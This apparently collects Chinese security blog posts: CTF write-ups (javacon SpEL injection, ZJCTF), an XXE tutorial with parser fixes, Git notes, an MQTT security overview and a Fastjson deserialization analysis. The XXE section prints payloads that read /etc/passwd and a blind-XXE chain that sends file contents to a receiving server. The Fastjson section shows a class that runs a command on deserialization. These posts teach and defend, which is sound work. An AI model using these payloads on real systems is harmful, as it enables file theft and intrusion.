Code-Breaking Puzzles — javacon WriteUp

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:
源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。
如果需要调试,IDEA打断点后,配置Remote如下
屏幕快照 2018-11-25 下午6.31.18

命令启动

再点击IDEA右上角的DEBUG即可。

程序结构:
屏幕快照 2018-11-25 下午6.34.08

首先我们可以从SpringBoot的配置 application.yml看起

主要就是一个黑名单,一个用户的提供。

其他文件 :
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController
屏幕快照 2018-11-25 下午6.41.24

我们从登录看起

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。
最后跳转hello.html

屏幕快照 2018-11-25 下午6.45.23

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute,接下来可以看到this.getAdvanceValue(username.toString())
我们来看这个方法。

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
在JAVA中我们可以通过

来执行命令,但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

运行一下,可以看到我们成功接受到了请求。
屏幕快照 2018-11-25 下午7.04.58

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

获取目录
之后cat flag,如下,再像上面一样加密后存入cookie中即可。

屏幕快照 2018-11-25 下午6.44.00
屏幕快照 2018-11-25 下午6.17.31
屏幕快照 2018-11-25 下午6.17.42

最后,师傅们Tql,感谢p神的题目。
屏幕快照 2018-11-25 下午6.33.22

ZJCTF Final 部分WP

浙江首届大学生CTF比赛,大型网友线下见面活动,主要过来和师傅们学习下。
分享下比赛时候做出的题目和复现时放出的隐藏题目的做法以及思路。

1-1

Name

netsec

Title

知法懂法

Category

web

Describe

请认真阅读网络安全法

Score

200

Location

1-1

Solution

得到大家一致评论很坑的签到题….
注入得到一些网络安全法条目,查看发现第二十九条明显不属于网络安全法。

安全法.png

但是题目并没有给出详细提示,尝试10,二十九均无效,最后直接在搜索框输入条文内容得到flag。

netsecflag.png

1-2

Name

zq_web

Title

回味童年

Category

web

Describe

你能达到2018分吗

Score

400

Location

1-2

Solution

俄罗斯方块.png

一个没有游戏结束判定的俄罗斯方块游戏,用jd-gui打开逆向查看源码。

基本逻辑是达到一定分数,程序就会根据当前时间戳构建认证请求发送给服务器,获取flag。

直接构造发送请求:

 

2-1

Name

circle

Title

圆圈圈圆

Category

misc

Describe

一张普通的纸

Score

300

Location

2-1

Solution

图片隐写,先用binwalk分析

binwalk.png

foremost提取出其中的各种文件,中途晕头转向的过程就不提了,最后结果是:

在ole文件中得到假flag:

ole.png

用这个字符串当作密码解密rar压缩包,得到一张图片,二进制分析图片得到真flag:

zjctf{C1r_u_f1n0}

Ps:在无外网环境下给出一个不常见的ole格式文件,迷惑性还是很大的。

Pss:没太理解这个假flag和压缩包密码的联系。

Psss:主办方很坏的在内网提供了压缩包爆破工具,是个狠人.jpg

4-1

Name

pig_peppa

Title

小猪佩奇

Category

misc

Describe

小猪佩奇身上纹,掌声送给社会人

Score

300

Location

4-1

Solution

得到一个png文件和一个docx文档,binwalk检查发现都隐写了很多文件,提取出来查看,发现png文件中有一个mp3文件,文档中有一个二维码。

file.png

qr.png

解析二维码,得到:

password:APIG

思考有密码的音频隐写,尝试MP3Stego

会在当前目录生成一个peppa.mp3.txt,得到base64编码后的flag,解码得到flag。

E57C2C63583D3656E0DBF3E4028016B4.png

4-2

Name

yurisqli_final

Title

盲人摸象

Category

web

Describe

just inject it!

Score

500

Location

4-2

Solution

从题名可以看出,本题考察盲注,跑了一波sql关键词发现一些被过滤(单引号也被过滤了,但双引号没有)
以下是部分没被过滤的关键词

比赛时候poc是选择 < 来注入的,

赛后和Liano师傅交流发现他们是用in进行注入,这里在复现时候专门使用in编写了个脚本:

这里注意 in 不区分大小写,所以最后的b需要大写

B8F827C77B1EC12007091F8E500CB4F7.png

f1-1

Name

more_fast

Title

你得快点

Category

web

Describe

你需要尽快的提交flag

Score

300

Location

f1-1

Solution

查看源码,提示

让我们POST一个东西,所以得先找到这玩意。查看网络请求,在返回的请求头中发现了一个flag值:

flaginheaders.png

base64解码查看:

每次请求flag都会不同,把flag字符串用POST提交回去,发现提示不够快:

尝试多次发送请求,无果,最后发现随意POST一个字符串也会返回“不够快”,于是检查是不是POST的数据出现了问题,最后发现给出的字符串依旧是base64编码过的,还需要一次解密再提交。最终payload:

f1-2

Title

心有猛虎

Description

“心有猛虎,细嗅蔷薇”是英国诗人西格里夫·萨松代表作《于我,过去,现在以及未来 》的经典诗句。原话是“In me the tiger sniffs the rose.”诗人余光中将其翻译为:心有猛虎,细嗅蔷薇。意思是,老虎也会有细嗅蔷薇的时候,忙碌而远大的雄心也会被温柔和美丽折服,安然感受美好。讲的是人性中阳刚与阴柔的两面。(不要碰撞平台,谢谢!!!)

Category

WEB

Score

500

Solution

思路:哈希算法碰撞,查看robots.txt能看到/flag和/code,前者是提交请求的接口,后者为验证码接口,发现后端是python,于是查看有无源码泄漏,得到flag.pyc,逆向出源码后进行哈希函数碰撞。

f2-1

Name

god_blame

Title

无量寿佛

Category

web

Describe

你能得到神的保佑吗?

Score

300

Solution

点进链接页面,查看源码:

 

AAencode,解码得到:

 

发现一段base64,解码后得到flag:

zjctf{1_aM_He2e_aaaa}

XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

public String xxe_SAXParser_fix(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。

参考

https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code

Git 学习笔记

之前的笔记简单整理一下,方便刚接触的同学们快速入门

基本概念

对于一个程序员来说,Git可以说是一个必须掌握的基本技能。那么Git是什么呢,为什么对我们有这么大的作用?
Git是当下最流行,最好用的版本控制系统。所谓版本控制系统主要就是为了控制,协调各个版本的一致性。它增大了开发的灵活性,当遇到开发问题时可以随时回溯到上一个版本。Git属于分布式版本控制系统,也就是说每一个你clone下来的Git仓库都是主仓库的一个分布式版本。
因为clone下的数据都在本地,所以不仅提高了开发效率,而且即使我们离开了网络也可以执行提交,创建分支,查看历史版本记录等操作。
最后再来了解一个概念,Git本地有3个主要的工作区域

  • 工作目录
  • 暂存区域
  • 本地仓库

具体作用我们在后面的基本操作中介绍

GitHub

GitHub是一个面向开源及私有软件项目的托管平台,也是一个全球最大的同性交友平台(???)你可以在上面学习到许多大佬的开源项目,同时也可以用于自己的项目开源与团队开发协作。

基本操作

首先注册GitHub 不多说了

初次配置

跟Github注册信息一致

$ git config --global user.name "yourname"
$ git config --global user.email "yours@example.com"

查看是否添加成功

git config --list 

SSH key配置
推送是需要登陆输入GitHub用户名密码的,使用SSH公钥省可以省去这个环节。
1.创建SSH Key
首先在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsaid_rsa.pub这两个文件,如果有的话可以跳到下一步。
如果没有,在终端(Windows下打开Git Bash)执行

ssh-keygen -t rsa -C "yours@example.com"

然后一直回车就行
屏幕快照 2018-09-03 下午5.58.14
2.GitHub配置SSH Key
Account–>settings–>SSH and GPG keys–>[New SSH Key]
屏幕快照 2018-09-03 下午6.03.31
Title 可以不填,会自动生成
在下面的Key中填入新生成的文件id_rsa.pub内容
Add后就配置成功了

创建本地仓库

首先创建目录 进入目录

mkdir xxx
cd xxx

初始化

git init 

当前目录会生成一个.git文件夹用于管理Git仓库。它是 Git 用来保存元数据和对象数据库的地方。该文件夹非常重要,每次clone镜像仓库的时候,实际拷贝的就是这个文件夹里面的数据。具体细节有兴趣的可以深入了解下。

GitHub创建仓库

GitHub New Repository[https://github.com/new]
具体初始化步骤创建成功后会有显示 如下图 不多解释了
屏幕快照 2018-09-08 上午11.26.07

文件的三种状态

在了解常用命令之前,我们需要把之前简单提及了一下的概念再稍做深入。
我们要知道对于任何一个文件,在 Git 内都只有三种状态:已提交(committed),已修改(modified)和已暂存(staged)。已提交表示该文件已经被安全地保存在本地数据库中了;已修改表示修改了某个文件,但还没有提交保存;已暂存表示把已修改的文件放在下次提交时要保存的清单中。
由此我们看到也就是最开始基本概念中提及到 Git 管理项目时,文件流转的三个工作区域:Git 的工作目录暂存区域,以及本地仓库
18333fig0106-tn
我们可以从文件所处的位置来判断状态:如果是 Git 文件夹中保存着的特定版本文件,就属于已提交状态;如果作了修改并已放入暂存区域,就属于已暂存状态;如果自上次取出后,作了修改但还没有放到暂存区域,就是已修改状态。

常用命令

1.创建版本库

git clone <url>    #克隆远程版本库
git init          #初始化本地版本库

2.修改和提交

git status                    #查看状态
git diff                      #查看变更内容
git add .                     #添加所有改动过的文件
git add <file>                #添加指定文件
git mv <old> <new>            #文件改名
git rm <file>                 #删除文件
git rm --cached <file>        #停止添加文件但不删除
git commit -m "commit message"#提交所有更新过的文件
git commit --amend            #修改最后一次提交

3.查看提交历史

git log                       #查看提交历史
git log -p <file>             #查看指定文件的提交历史
git blame <file>              #以列表方式查看指定文件的提交历史

4.撤销

git reset --hard HEAD          #撤销工作目录中所有未提交文件的修改内容
git checkout HEAD <file>       #撤销指定的未提交文件的修改内容
git revert <commit>            #撤销指定的提交

5.分支

git branch                    #显示所有本地分支
git checkout <branch/tag>     #切换到指定分支或者标签
git branch <new-nbranch>      #创建新分支
git branch -d <branch>        #删除本分支

6.其他

git merge <branch>                 #合并指定分支到当前分支
git pull <remote> <branch>         #更新代码
git push <remote> <branch>         #上传代码

上面节选了常用的一部分网上Git速查表的内容,并不是全部。当然使用频率最高的是下面这几个,同时也是一般更新Git仓库的基本操作流程。

git clone <url>
git pull
(一系列修改代码/增加代码操作)   #在工作目录处理文件
git add .                   #将文件添加至暂存区域
git commit -m "xxx"         #将文件提交到本地仓库
git push

从项目中取出某个版本的所有文件和目录,用以开始后续工作的叫做工作目录。这些文件实际上都是从 Git 文件夹中的压缩对象数据库中提取出来的,接下来就可以在工作目录中对这些文件进行编辑。

所谓的暂存区域只不过是个简单的文件,一般都放在 Git 文件夹中。有时候人们会把这个文件叫做索引文件,不过标准说法还是叫暂存区域。

所以基本的操作如下:

  1. 在工作目录中修改某些文件。
  2. 对修改后的文件进行快照,然后保存到暂存区域。
  3. 提交更新,将保存在暂存区域的文件快照永久转储到 Git 文件夹中。

Git 工作流程

可以直接看这篇文章了,写的很好。Git 工作流程

使用建议:三个简单规则

git_rule

  • 规则一:为每个新项目创建一个Git存储库。
  • 规则二:为每个新功能创建一个新分支。
  • 规则三:用pull reqeust把代码合并到Master分支。

参考

https://medium.freecodecamp.org/follow-these-simple-rules-and-youll-become-a-git-and-github-master-e1045057468f
https://www.cnblogs.com/myqianlan/p/4195994.html
https://blog.csdn.net/xuda27/article/details/52617148
https://git-scm.com/book/zh/v2

浅析MQTT安全

近期做的项目中有涉及IoT的相关内容,其中协议使用了MQTT,因此也专门抽时间关注了其安全性问题,事实上在前两年的Defcon和BlackHat上都有人做过其安全性的演讲。目前来说,MQTT在使用中拥有相对的安全认证体系,但是其中仍然存在被恶意破解拿到权限的风险,这更大一部分不是MQTT的问题,而是使用者的问题。

MQTT概览

MQTT是一种机器对机器(M2M)的协议,它被广泛地用于 IoT 。其在1999年由IBM发明,当时是为了创建一个协议,用于通过卫星连接连接石油管道的最小电池损耗和最小带宽。因为它的耗能非常低,所以被IoT生态系统广泛采用。目前几乎所有的 IoT 云平台 都支持通过 MQTT 与几种不同实现的 IoT 智能设备发送接收数据。
官方定义:

MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium.

其设计思想是开放、简单、轻量、易于实现。这些特点使它适用于受限环境。例如,但不仅限于此:

  • 特别适合于网络代价昂贵,带宽低、不可靠的环境。
  • 能在处理器和内存资源有限的嵌入式设备中运行。
  • 使用发布/订阅消息模式,提供一对多的消息发布,从而解除应用程序耦合。
  • 使用 TCP/IP 提供网络连接。
  • 提供Last Will 和 Testament 特性通知有关各方客户端异常中断的机制。

目前有许多MQTT消息中间件服务器,比如

  • Mosquitto
  • RabbitMQ
  • Apache ActiveMQ
  • HiveMQ
  • EMQ
  • ……

相关介绍

发布与订阅模式

MQTT是基于消息实现了发布者-订阅者模式的协议,其通过Borker其实也就是我们理解的Server来达到一个代理中转的作用,将消息接收并派发给订阅者。在转发消息的时候Borker使用Topic来过滤过客端。Topic就好比一个具体路径或者节点,客户端会有一个自己需要订阅或者发布的指定路径。也可以理解为Topic就像一个通道,它把发布者与它的订阅者连接起来。话题由MQTT代理管理。通过这个虚拟通道,发布者与订阅者解耦,客户端(发布者或订阅者)不必相互知道。
pubsub

如上图MQTT架构,左边的传感器通过publish温度到Borker,右边的手机电脑等设备通过subscribe来订阅其实时数据,中间的EMQ Borker起到了消息的接收与转发作用。

协议报文

固定报头
1*k6RkAHEk0576geQGUcKSTA
报文格式
1*z0fhdUVzGa0PLikH_cyBmQ

应用场景

目前物联网发展速度十分迅速,而MQTT在物联网设备的应用场景十分之广

  • 智能家居
  • 温度湿度传感器
  • 健身器材
  • 血压测量仪
  • 位置服务
  • 医疗设备
  • ……

MQTT安全

屏幕快照 2018-07-30 下午5.51.59

这是截止目前对国内1883端口的统计约有1万余台
屏幕快照 2018-07-29 下午9.31.39
屏幕快照 2018-07-29 下午9.32.00

1. MITM攻击

目前可以在MQTT协议V3.1中传递用户名密码来认证。MQTT基于TCP协议默认端口为1883,但容易受到MITM攻击。可以使用SSL来加密,其默认端口为8883。SSL虽然会给传输加密但是却增大了网络开销。
屏幕快照 2018-07-30 下午6.29.24

2. 未授权问题

虽然目前MQTT的消息服务器都会有相对完备的认证方式,可是经过Shodan拿到的数据发现有许多MQTT消息服务器存在配置错误,使用者没有配置认证造成未授权访问。
一旦我们进入,经过对Topic的分析,我们就可以监控全部设备,甚至发送命令控制或者SQL操作。

  • 利用通配符获取订阅所有Topic
    MQTT 主题(Topic) 支持’+’, ‘#’的通配符,’+’通配一个层级,’#’通配多个层级(必须在末尾)。
    也就是说 如果我们的有两个个Topic分别为 CMD/123/456 CMD/789/666 那么我们可以订阅CMD/#来获取其CMD下的全部消息。在攻击中我们首先就可以利用其来监听所有Topic。
    如下为两台未授权MQTT消息服务器。
    屏幕快照 2018-07-29 下午8.49.00
    屏幕快照 2018-07-29 下午8.40.42
  • 权限控制问题
    前面是对无用户名密码的MQTT服务器的连接利用通配符订阅所有消息。难道有用户名和密码就可以制止了吗,类似WEB中的越权。试想一下,我们的一个设备如温度计需要通过用户名密码登录来publish温度,其通常会用设备ID等组合来形成一个key作为密码,或者就是我们的网站登陆密码吧。如果我们逆向了这个设备成功知道了用户名密码,而同时MQTT服务器配置没有对普通用户权限进行管理,允许其使用通配符,那么结果就会和上面的效果一样。
    假设如下为一个设备的配置,这里会完成登陆可是我们在MQTT服务器没有禁止其可以使用通配符
    屏幕快照 2018-07-30 下午3.21.46
    屏幕快照 2018-07-30 下午3.24.31
    我们对其订阅的Topic发送消息,可以看到成功接收
    屏幕快照 2018-07-30 下午3.30.47
    现在我们把订阅内容改成通配符
    屏幕快照 2018-07-30 下午3.32.35
    可以看到由于对用户没有权限验证导致其可以任意订阅内容,获取其他成员消息
    屏幕快照 2018-07-30 下午3.36.10

  • 匿名登陆问题
    emqttd/etc/emq.conf
    默认是开启的任何人都能登陆 需改为false
    mqtt.allow_anonymous = true

  • 注意认证插件
    目前MQTT中间件都会提供许多认证方式如MYSQL,LDAP等,但最近我使用EMQ中发现了一个坑,其中emq_plugin_template为一个开发插件的模版,它自动开启然后导致任意用户名密码都可以连接成功,如下
    屏幕快照 2018-07-30 下午5.54.55
    任意用户名密码连接
    屏幕快照 2018-07-30 下午5.54.37
    关闭后,可以正常判断
    屏幕快照 2018-07-30 下午6.00.03
    所以各位开发者在开启认证插件时一定要注意和检查,以免出现不必要的问题。

3. 暴力破解

https://github.com/zombiesam/joffrey
屏幕快照 2018-07-30 下午3.48.42
屏幕快照 2018-07-30 下午3.51.59

4.XSS

前端显示或者后端存消息切记需要注意特殊字符过滤。

安全配置

这里以EMQ为例,EMQ 消息服务器认证由一系列认证插件(Plugin)提供,系统支持按用户名密码、ClientID 或匿名认证。
系统默认开启匿名认证(anonymous),通过加载认证插件可开启的多个认证模块组成认证链:

           ----------------           ----------------           ------------
Client --> | Username认证 | -ignore-> | ClientID认证 | -ignore-> | 匿名认证 |
           ----------------           ----------------           ------------
                  |                         |                         |
                 \|/                       \|/                       \|/
            allow | deny              allow | deny              allow | deny

注解
EMQ 2.0 消息服务器还提供了 MySQL、PostgreSQL、Redis、MongoDB、HTTP、LDAP 认证插件。

etc/acl.conf 默认访问规则设置:

%% 允许'dashboard'用户订阅 '$SYS/#'
{allow, {user, "dashboard"}, subscribe, ["$SYS/#"]}.

%% 允许本机用户发布订阅全部主题
{allow, {ipaddr, "127.0.0.1"}, pubsub, ["$SYS/#", "#"]}.

%% 拒绝用户订阅'$SYS#'与'#'主题
{deny, all, subscribe, ["$SYS/#", {eq, "#"}]}.

%% 上述规则无匹配,允许
{allow, all}.

详情可见文档 http://www.emqtt.com/docs/v2/guide.html

总结

物联网是一个目前发展迅速的行业,安全影响力越来越大。MQTT无疑推动了物联网的发展,希望我们在不断方便自身的情况下,也一定要安全合理的使用相关技术。

参考资料

http://emqtt.com/docs/v2/index.html
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b
https://dzone.com/articles/mqtt-security
https://www.blackhat.com/docs/us-17/thursday/us-17-Lundgren-Taking-Over-The-World-Through-Mqtt-Aftermath.pdf

探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

json序列化反序列化是通过将对象转换成json字符串和其逆过程,Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景
通过之前的反序列化漏洞学习我们知道,挖掘其漏洞核心思想就是找到应用,组件或者方法中的反序列化操作,如果其没有进行有效合法的判断或者其黑名单不够全,那么我们就可以通过利用JDK中固有类的方法组合来构造出一条攻击链,从而在其反序列化过程中成功唤醒我们的攻击链来达到任意代码执行
关于Fastjson反序列化漏洞的POC我也在网上看了许多文章学习,在此还是要感谢各位大佬的分享。在其中我选择了一种相对容易的基于JdbcRowSetImpl调用链来进行本次的分析

快速入门Fastjson

首先让我们了解一下Fastjson的基本使用方式
其常用方法主要是通过toJSONString方法来序列化,parseparseObject方法反序列化,

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

public class Test {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("test");
        user1.setAge(1);
        System.out.println("obj name:"+user1.getClass().getName());

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");

        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
    }
}

运行结果

{"key2":"Two","key1":"One"}
obj name:test.User
serializedStr={"age":1,"name":"test"}
serializedStr1={"@type":"test.User","age":1,"name":"test"}
test

{"name":"test","age":1}
obj name:com.alibaba.fastjson.JSONObject

test.User@31900174
obj1 name:test.User

可以看到当我们通过使用SerializerFeature.WriteClassName时会在序列化中写入当前的type,@type可以指定反序列化任意类,调用其set,get,is方法。在读取中我们可以通过设置指定的object来返回相应对象

Fastjson反序列化流程

JdbcRowSetImpl_1
上图是反序列化框架图,其中反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类
首先程序会根据Lexer词法分析来处理字符
屏幕快照 2018-07-13 下午12.04.02
之后在parseObject方法中

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

ObjectDeserializer接口进入JavaBeanDeserializer类中的deserialze实现方法完成反序列化操作。其中执行具体方法见其框架图

所以我们简单构造一个模拟流程
创建实体类

public class Evil {
    public String name;
    private int age;
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

反序列化操作

public class App {
    public static void main(String[] args) {
        Object obj = JSON.parseObject("{\"@type\":\"test.Evil\", \"name\":\"test\",\"age\":\"18\"}");
        System.out.println(obj);
    }
}

执行结果
屏幕快照 2018-07-13 下午3.37.21
可以看到在反序列化的过程中调用了我们的无参构造方法,以及get,set方法

JNDI

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

Java Naming

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

简单来说JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索对象(object),对象可能存储在rmi,ldap,CORBA等等。在JNDI中提供了绑定和查找的方法,JNDI将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象
2、Object lookup( String name ) //通过名字检索执行的对象

下面是一个小demo
首先我们一个远程接口

//远程接口
public interface RmiSample extends Remote {
    public  int sum(int a,int b) throws RemoteException;

}

以及其实现

public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
        super();
    }
    //所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
        return a+b;
    }
}

建立Server

public class RmiSampleServerJndi {
    public  static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(8808);
        RmiSampleImpl  server=new RmiSampleImpl();
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        ctx.bind("java:comp/env/SampleDemo",server);
        ctx.close();

    }
}

以及客户端

public class RmiSampleClientJndi {
    public static void main(String[] args) throws Exception
    {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        String url =  "java:comp/env/SampleDemo";
        RmiSample RmiObject  = (RmiSample)ctx.lookup(url);
        System.out.println("  1 + 2 = " + RmiObject.sum(1,2) );

    }
}

首先启动服务端,接着客户端连接
屏幕快照 2018-07-13 下午4.06.57
最终输出调用结果
屏幕快照 2018-07-13 下午4.11.19

JNDI Naming Reference

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)

JNDI注入

JNDI注入产生的原因可以归结到以下4点

1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
